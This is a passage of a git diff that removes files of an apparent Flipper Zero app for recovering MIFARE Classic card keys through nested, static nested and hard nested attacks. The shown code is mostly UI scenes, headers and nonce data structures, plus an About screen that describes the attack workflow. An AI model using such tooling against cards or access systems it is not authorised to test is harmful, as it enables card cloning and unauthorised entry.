&message_blink_set_color_blue,
&message_do_not_reset,
NULL,
};
static const NotificationSequence mifare_nested_sequence_blink_start_magenta = {
&message_blink_start_10,
&message_blink_set_color_magenta,
&message_do_not_reset,
NULL,
};
static const NotificationSequence mifare_nested_sequence_blink_start_yellow = {
&message_blink_start_10,
&message_blink_set_color_yellow,
&message_do_not_reset,
NULL,
};
static const NotificationSequence mifare_nested_sequence_blink_stop = {
&message_blink_stop,
NULL,
};
MifareNested* mifare_nested_alloc();
void mifare_nested_text_store_set(MifareNested* mifare_nested, const char* text, ...);
void mifare_nested_text_store_clear(MifareNested* mifare_nested);
void mifare_nested_blink_start(MifareNested* mifare_nested);
void mifare_nested_blink_calibration_start(MifareNested* mifare_nested);
void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested);
void mifare_nested_blink_stop(MifareNested* mifare_nested);
void mifare_nested_show_loading_popup(void* context, bool show);

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applications/external/mifare_nested/mifare_nested_worker.c vendored
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98
applications/external/mifare_nested/mifare_nested_worker.h vendored
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#pragma once
#include <lib/nfc/nfc_device.h>
#define NESTED_FOLDER EXT_PATH("nfc/.nested")
typedef struct MifareNestedWorker MifareNestedWorker;
typedef enum {
MifareNestedWorkerStateReady,
MifareNestedWorkerStateCheck,
MifareNestedWorkerStateCollecting,
MifareNestedWorkerStateCollectingStatic,
MifareNestedWorkerStateCollectingHard,
MifareNestedWorkerStateValidating,
MifareNestedWorkerStateStop,
} MifareNestedWorkerState;
typedef enum {
MifareNestedWorkerEventReserved = 1000,
MifareNestedWorkerEventNoTagDetected,
MifareNestedWorkerEventNoNoncesCollected,
MifareNestedWorkerEventNoncesCollected,
MifareNestedWorkerEventCollecting,
MifareNestedWorkerEventNewNonce,
MifareNestedWorkerEventKeyChecked,
MifareNestedWorkerEventKeysFound,
MifareNestedWorkerEventNeedKey,
MifareNestedWorkerEventAttackFailed,
MifareNestedWorkerEventCalibrating,
MifareNestedWorkerEventStaticEncryptedNonce,
MifareNestedWorkerEventNeedPrediction,
MifareNestedWorkerEventProcessingKeys,
MifareNestedWorkerEventNeedKeyRecovery,
MifareNestedWorkerEventNeedCollection,
MifareNestedWorkerEventHardnestedStatesFound
} MifareNestedWorkerEvent;
typedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context);
MifareNestedWorker* mifare_nested_worker_alloc();
void mifare_nested_worker_change_state(
MifareNestedWorker* mifare_nested_worker,
MifareNestedWorkerState state);
void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker);
void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker);
void mifare_nested_worker_start(
MifareNestedWorker* mifare_nested_worker,
MifareNestedWorkerState state,
NfcDeviceData* dev_data,
MifareNestedWorkerCallback callback,
void* context);
typedef struct {
uint32_t key_type;
uint32_t block;
uint32_t target_nt[2];
uint32_t target_ks[2];
uint8_t parity[2][4];
bool skipped;
bool from_start;
bool invalid;
bool collected;
bool hardnested;
} Nonces;
typedef struct {
uint32_t cuid;
uint32_t sector_count;
// 40 (or 16/5) sectors, 2 keys (A/B), 3 tries
Nonces* nonces[40][2][3];
uint32_t tries;
// unique first bytes
uint32_t hardnested_states;
} NonceList_t;
typedef struct {
uint32_t total_keys;
uint32_t checked_keys;
uint32_t found_keys;
uint32_t added_keys;
uint32_t sector_keys;
bool tag_lost;
} KeyInfo_t;
typedef struct {
uint32_t saved;
uint32_t invalid;
uint32_t skipped;
} SaveNoncesResult_t;

28
applications/external/mifare_nested/mifare_nested_worker_i.h vendored
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@@ -1,28 +0,0 @@
#pragma once
#include <furi.h>
#include "mifare_nested_i.h"
#include "mifare_nested_worker.h"
struct MifareNestedWorker {
FuriThread* thread;
NfcDeviceData* dev_data;
MifareNestedWorkerCallback callback;
MifareNested* context;
MifareNestedWorkerState state;
};
int32_t mifare_nested_worker_task(void* context);
void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker);
void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker);
void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker);
void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker);
void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker);

30
applications/external/mifare_nested/scenes/mifare_nested_scene.c vendored
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@@ -1,30 +0,0 @@
#include "mifare_nested_scene.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const mifare_nested_on_enter_handlers[])(void*) = {
#include "mifare_nested_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const mifare_nested_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "mifare_nested_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const mifare_nested_on_exit_handlers[])(void* context) = {
#include "mifare_nested_scene_config.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers mifare_nested_scene_handlers = {
.on_enter_handlers = mifare_nested_on_enter_handlers,
.on_event_handlers = mifare_nested_on_event_handlers,
.on_exit_handlers = mifare_nested_on_exit_handlers,
.scene_num = MifareNestedSceneNum,
};

29
applications/external/mifare_nested/scenes/mifare_nested_scene.h vendored
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@@ -1,29 +0,0 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(prefix, name, id) MifareNestedScene##id,
typedef enum {
#include "mifare_nested_scene_config.h"
MifareNestedSceneNum,
} MifareNestedScene;
#undef ADD_SCENE
extern const SceneManagerHandlers mifare_nested_scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
#include "mifare_nested_scene_config.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(prefix, name, id) \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
#include "mifare_nested_scene_config.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
#include "mifare_nested_scene_config.h"
#undef ADD_SCENE

77
applications/external/mifare_nested/scenes/mifare_nested_scene_about.c vendored
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@@ -1,77 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_about_on_enter(void* context) {
MifareNested* mifare_nested = context;
FuriString* temp_str;
temp_str = furi_string_alloc();
furi_string_printf(temp_str, "\e#%s\n", "Information");
furi_string_cat_printf(temp_str, "Version: %s\n", NESTED_VERSION_APP);
furi_string_cat_printf(temp_str, "Developed by:\n%s\n\n", NESTED_AUTHOR);
furi_string_cat_printf(temp_str, "Github: %s\n\n", NESTED_GITHUB_LINK);
furi_string_cat_printf(temp_str, "\e#%s\n", "Description");
furi_string_cat_printf(
temp_str,
"Ported Nested attacks\nfrom Proxmark3 (Iceman fork)\nCurrently supported attacks:\n - nested attack\n - static nested attack\n - hard nested attack\n\n");
furi_string_cat_printf(
temp_str,
"You will need desktop app to recover keys from collected nonces: %s\n\n",
NESTED_RECOVER_KEYS_GITHUB_LINK);
furi_string_cat_printf(temp_str, "\e#%s\n", "Quick guide");
furi_string_cat_printf(temp_str, "1. Install key recovery script on PC:\n");
furi_string_cat_printf(temp_str, "pip install FlipperNested\n");
furi_string_cat_printf(temp_str, "2. Connect Flipper Zero to PC\n");
furi_string_cat_printf(temp_str, "3. Run key recovery:\n");
furi_string_cat_printf(temp_str, "FlipperNested");
widget_add_text_box_element(
mifare_nested->widget,
0,
0,
128,
14,
AlignCenter,
AlignBottom,
"\e#\e! \e!\n",
false);
widget_add_text_box_element(
mifare_nested->widget,
0,
2,
128,
14,
AlignCenter,
AlignBottom,
"\e#\e! Flipper Nested \e!\n",
false);
widget_add_text_scroll_element(
mifare_nested->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str));
furi_string_free(temp_str);
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_about_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
UNUSED(mifare_nested);
UNUSED(event);
return consumed;
}
void mifare_nested_scene_about_on_exit(void* context) {
MifareNested* mifare_nested = context;
// Clear views
widget_reset(mifare_nested->widget);
}

76
applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c vendored
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#include "../mifare_nested_i.h"
void mifare_nested_scene_added_keys_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_added_keys_on_enter(void* context) {
MifareNested* mifare_nested = context;
KeyInfo_t* key_info = mifare_nested->keys;
Widget* widget = mifare_nested->widget;
char draw_str[32] = {};
char append[5] = {'k', 'e', 'y', ' ', '\0'};
if(key_info->added_keys != 1) {
append[3] = 's';
}
widget_add_string_element(
widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Results of key recovery");
if(key_info->added_keys != 0) {
snprintf(draw_str, sizeof(draw_str), "Added: %lu %s", key_info->added_keys, append);
notification_message(mifare_nested->notifications, &sequence_success);
widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess);
} else {
snprintf(draw_str, sizeof(draw_str), "No new keys were added");
widget_add_string_element(
widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "Try running \"Nested attack\"");
widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again");
notification_message(mifare_nested->notifications, &sequence_error);
}
widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, draw_str);
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_added_keys_widget_callback,
mifare_nested);
free(key_info);
KeyInfo_t* new_key_info = malloc(sizeof(KeyInfo_t));
mifare_nested->keys = new_key_info;
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_added_keys_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_added_keys_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

95
applications/external/mifare_nested/scenes/mifare_nested_scene_check.c vendored
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@@ -1,95 +0,0 @@
#include "../mifare_nested_i.h"
enum {
MifareNestedSceneCheckStateTagSearch,
MifareNestedSceneCheckStateTagFound,
};
bool mifare_nested_check_worker_callback(MifareNestedWorkerEvent event, void* context) {
furi_assert(context);
MifareNested* mifare_nested = context;
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
return true;
}
static void mifare_nested_scene_check_setup_view(MifareNested* mifare_nested) {
Popup* popup = mifare_nested->popup;
popup_reset(popup);
uint32_t state =
scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneCheck);
if(state == MifareNestedSceneCheckStateTagSearch) {
popup_set_icon(mifare_nested->popup, 0, 8, &I_ApplyTag);
popup_set_text(
mifare_nested->popup, "Apply tag to\nthe back", 128, 32, AlignRight, AlignCenter);
} else {
popup_set_icon(popup, 12, 23, &I_Loading);
popup_set_header(popup, "Checking\nDon't move...", 52, 32, AlignLeft, AlignCenter);
}
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewPopup);
}
void mifare_nested_scene_check_on_enter(void* context) {
MifareNested* mifare_nested = context;
scene_manager_set_scene_state(
mifare_nested->scene_manager,
MifareNestedSceneCheck,
MifareNestedSceneCheckStateTagSearch);
mifare_nested_scene_check_setup_view(mifare_nested);
// Setup and start worker
mifare_nested_worker_start(
mifare_nested->worker,
MifareNestedWorkerStateCheck,
&mifare_nested->nfc_dev->dev_data,
mifare_nested_check_worker_callback,
mifare_nested);
mifare_nested_blink_start(mifare_nested);
}
bool mifare_nested_scene_check_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == MifareNestedWorkerEventCollecting) {
if(mifare_nested->run == NestedRunAttack) {
if(mifare_nested->settings->only_hardnested) {
FURI_LOG_I("MifareNested", "Using Hard Nested because user settings");
mifare_nested->collecting_type = MifareNestedWorkerStateCollectingHard;
}
scene_manager_next_scene(
mifare_nested->scene_manager, MifareNestedSceneCollecting);
} else {
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheckKeys);
}
consumed = true;
} else if(event.event == MifareNestedWorkerEventNoTagDetected) {
scene_manager_set_scene_state(
mifare_nested->scene_manager,
MifareNestedSceneCheck,
MifareNestedSceneCheckStateTagSearch);
mifare_nested_scene_check_setup_view(mifare_nested);
consumed = true;
}
}
return consumed;
}
void mifare_nested_scene_check_on_exit(void* context) {
MifareNested* mifare_nested = context;
mifare_nested_worker_stop(mifare_nested->worker);
scene_manager_set_scene_state(
mifare_nested->scene_manager,
MifareNestedSceneCheck,
MifareNestedSceneCheckStateTagSearch);
// Clear view
popup_reset(mifare_nested->popup);
mifare_nested_blink_stop(mifare_nested);
}

117
applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c vendored
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@@ -1,117 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_check_keys_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
bool mifare_nested_check_keys_worker_callback(MifareNestedWorkerEvent event, void* context) {
MifareNested* mifare_nested = context;
CheckKeysState* plugin_state = mifare_nested->keys_state;
if(event == MifareNestedWorkerEventKeyChecked) {
mifare_nested_blink_nonce_collection_start(mifare_nested);
KeyInfo_t* key_info = mifare_nested->keys;
with_view_model(
plugin_state->view,
CheckKeysViewModel * model,
{
model->lost_tag = false;
model->keys_checked = key_info->checked_keys;
model->keys_found = key_info->found_keys;
model->keys_total = key_info->sector_keys;
model->keys_count = key_info->total_keys;
},
true);
} else if(event == MifareNestedWorkerEventNoTagDetected) {
mifare_nested_blink_start(mifare_nested);
with_view_model(
plugin_state->view, CheckKeysViewModel * model, { model->lost_tag = true; }, true);
} else if(event == MifareNestedWorkerEventProcessingKeys) {
with_view_model(
plugin_state->view,
CheckKeysViewModel * model,
{ model->processing_keys = true; },
true);
}
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
return true;
}
void mifare_nested_scene_check_keys_on_enter(void* context) {
MifareNested* mifare_nested = context;
CheckKeysState* plugin_state = mifare_nested->keys_state;
mifare_nested_worker_start(
mifare_nested->worker,
MifareNestedWorkerStateValidating,
&mifare_nested->nfc_dev->dev_data,
mifare_nested_check_keys_worker_callback,
mifare_nested);
mifare_nested_blink_start(mifare_nested);
with_view_model(
plugin_state->view,
CheckKeysViewModel * model,
{
model->lost_tag = false;
model->processing_keys = false;
model->keys_count = 0;
model->keys_checked = 0;
model->keys_found = 0;
},
false);
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys);
}
bool mifare_nested_scene_check_keys_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
} else if(event.event == MifareNestedWorkerEventKeysFound) {
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAddedKeys);
consumed = true;
} else if(event.event == MifareNestedWorkerEventNeedKeyRecovery) {
scene_manager_next_scene(
mifare_nested->scene_manager, MifareNestedSceneNeedKeyRecovery);
consumed = true;
} else if(event.event == MifareNestedWorkerEventNeedCollection) {
scene_manager_next_scene(
mifare_nested->scene_manager, MifareNestedSceneNeedCollection);
consumed = true;
} else if(
event.event == MifareNestedWorkerEventKeyChecked ||
event.event == MifareNestedWorkerEventNoTagDetected ||
event.event == MifareNestedWorkerEventProcessingKeys) {
consumed = true;
}
}
return consumed;
}
void mifare_nested_scene_check_keys_on_exit(void* context) {
MifareNested* mifare_nested = context;
mifare_nested_worker_stop(mifare_nested->worker);
// Clear view
mifare_nested_blink_stop(mifare_nested);
popup_reset(mifare_nested->popup);
widget_reset(mifare_nested->widget);
}

161
applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c vendored
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@@ -1,161 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_collecting_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
bool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, void* context) {
MifareNested* mifare_nested = context;
NestedState* plugin_state = mifare_nested->nested_state;
if(event == MifareNestedWorkerEventNewNonce) {
mifare_nested_blink_nonce_collection_start(mifare_nested);
uint8_t collected = 0;
uint8_t skip = 0;
NonceList_t* nonces = mifare_nested->nonces;
for(uint8_t tries = 0; tries < nonces->tries; tries++) {
for(uint8_t sector = 0; sector < nonces->sector_count; sector++) {
for(uint8_t keyType = 0; keyType < 2; keyType++) {
Nonces* info = nonces->nonces[sector][keyType][tries];
if(info->from_start) {
skip++;
} else if(info->collected) {
collected++;
}
}
}
}
with_view_model(
plugin_state->view,
NestedAttackViewModel * model,
{
model->calibrating = false;
model->lost_tag = false;
model->nonces_collected = collected;
model->keys_count = (nonces->sector_count * nonces->tries * 2) - skip;
},
true);
} else if(event == MifareNestedWorkerEventNoTagDetected) {
mifare_nested_blink_start(mifare_nested);
with_view_model(
plugin_state->view, NestedAttackViewModel * model, { model->lost_tag = true; }, true);
} else if(event == MifareNestedWorkerEventCalibrating) {
mifare_nested_blink_calibration_start(mifare_nested);
with_view_model(
plugin_state->view,
NestedAttackViewModel * model,
{
model->calibrating = true;
model->lost_tag = false;
model->need_prediction = false;
model->hardnested = false;
},
true);
} else if(event == MifareNestedWorkerEventNeedPrediction) {
with_view_model(
plugin_state->view,
NestedAttackViewModel * model,
{ model->need_prediction = true; },
true);
} else if(event == MifareNestedWorkerEventHardnestedStatesFound) {
NonceList_t* nonces = mifare_nested->nonces;
with_view_model(
plugin_state->view,
NestedAttackViewModel * model,
{
model->calibrating = false;
model->lost_tag = false;
model->hardnested = true;
model->hardnested_states = nonces->hardnested_states;
},
true);
}
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
return true;
}
void mifare_nested_scene_collecting_on_enter(void* context) {
MifareNested* mifare_nested = context;
NestedState* nested = mifare_nested->nested_state;
mifare_nested_worker_start(
mifare_nested->worker,
mifare_nested->collecting_type,
&mifare_nested->nfc_dev->dev_data,
mifare_nested_collecting_worker_callback,
mifare_nested);
mifare_nested_blink_start(mifare_nested);
with_view_model(
nested->view,
NestedAttackViewModel * model,
{
model->lost_tag = false;
model->nonces_collected = 0;
},
false);
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting);
}
bool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
} else if(event.event == MifareNestedWorkerEventNoncesCollected) {
scene_manager_next_scene(
mifare_nested->scene_manager, MifareNestedSceneNoncesCollected);
consumed = true;
} else if(event.event == MifareNestedWorkerEventNoNoncesCollected) {
scene_manager_next_scene(
mifare_nested->scene_manager, MifareNestedSceneNoNoncesCollected);
consumed = true;
} else if(event.event == MifareNestedWorkerEventAttackFailed) {
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed);
consumed = true;
} else if(event.event == MifareNestedWorkerEventNeedKey) {
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys);
consumed = true;
} else if(event.event == MifareNestedWorkerEventStaticEncryptedNonce) {
scene_manager_next_scene(
mifare_nested->scene_manager, MifareNestedSceneStaticEncryptedNonce);
consumed = true;
} else if(
event.event == MifareNestedWorkerEventNewNonce ||
event.event == MifareNestedWorkerEventNoTagDetected ||
event.event == MifareNestedWorkerEventCalibrating ||
event.event == MifareNestedWorkerEventNeedPrediction ||
event.event == MifareNestedWorkerEventHardnestedStatesFound) {
consumed = true;
}
}
return consumed;
}
void mifare_nested_scene_collecting_on_exit(void* context) {
MifareNested* mifare_nested = context;
mifare_nested_worker_stop(mifare_nested->worker);
// Clear view
mifare_nested_blink_stop(mifare_nested);
popup_reset(mifare_nested->popup);
widget_reset(mifare_nested->widget);
}

14
applications/external/mifare_nested/scenes/mifare_nested_scene_config.h vendored
View File

@@ -1,14 +0,0 @@
ADD_SCENE(mifare_nested, start, Start)
ADD_SCENE(mifare_nested, check, Check)
ADD_SCENE(mifare_nested, nonces_collected, NoncesCollected)
ADD_SCENE(mifare_nested, collecting, Collecting)
ADD_SCENE(mifare_nested, no_keys, NoKeys)
ADD_SCENE(mifare_nested, check_keys, CheckKeys)
ADD_SCENE(mifare_nested, added_keys, AddedKeys)
ADD_SCENE(mifare_nested, failed, Failed)
ADD_SCENE(mifare_nested, about, About)
ADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce)
ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery)
ADD_SCENE(mifare_nested, need_collection, NeedCollection)
ADD_SCENE(mifare_nested, settings, Settings)
ADD_SCENE(mifare_nested, no_nonces_collected, NoNoncesCollected)

59
applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c vendored
View File

@@ -1,59 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_failed_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_failed_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
notification_message(mifare_nested->notifications, &sequence_error);
widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
widget_add_string_element(
widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Failed to preform attack");
widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Try running");
widget_add_string_element(
widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "\"Nested attack\"");
widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again or check");
widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "logs");
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_failed_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_failed_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_failed_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

56
applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c vendored
View File

@@ -1,56 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_need_collection_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_need_collection_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
notification_message(mifare_nested->notifications, &sequence_error);
widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
widget_add_string_element(
widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing collected nonces");
widget_add_string_element(
widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Run \"Nested attack\"");
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_need_collection_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_need_collection_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_need_collection_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

59
applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c vendored
View File

@@ -1,59 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_need_key_recovery_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_need_key_recovery_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
notification_message(mifare_nested->notifications, &sequence_error);
widget_add_icon_element(widget, 74, 13, &I_DolphinCry);
widget_add_string_element(
widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing found keys");
widget_add_string_element(
widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "First you need to");
widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "recover keys");
widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Read \"About\"");
widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "for more info");
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_need_key_recovery_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_need_key_recovery_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_need_key_recovery_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

61
applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c vendored
View File

@@ -1,61 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_no_keys_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_no_keys_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
notification_message(mifare_nested->notifications, &sequence_success);
widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No keys found");
widget_add_string_element(
widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Scan tag and find at");
widget_add_string_element(
widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "least one key to");
widget_add_string_element(
widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "start (save dump");
widget_add_string_element(
widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "after scanning!)");
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_no_keys_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_no_keys_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_no_keys_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

94
applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c vendored
View File

@@ -1,94 +0,0 @@
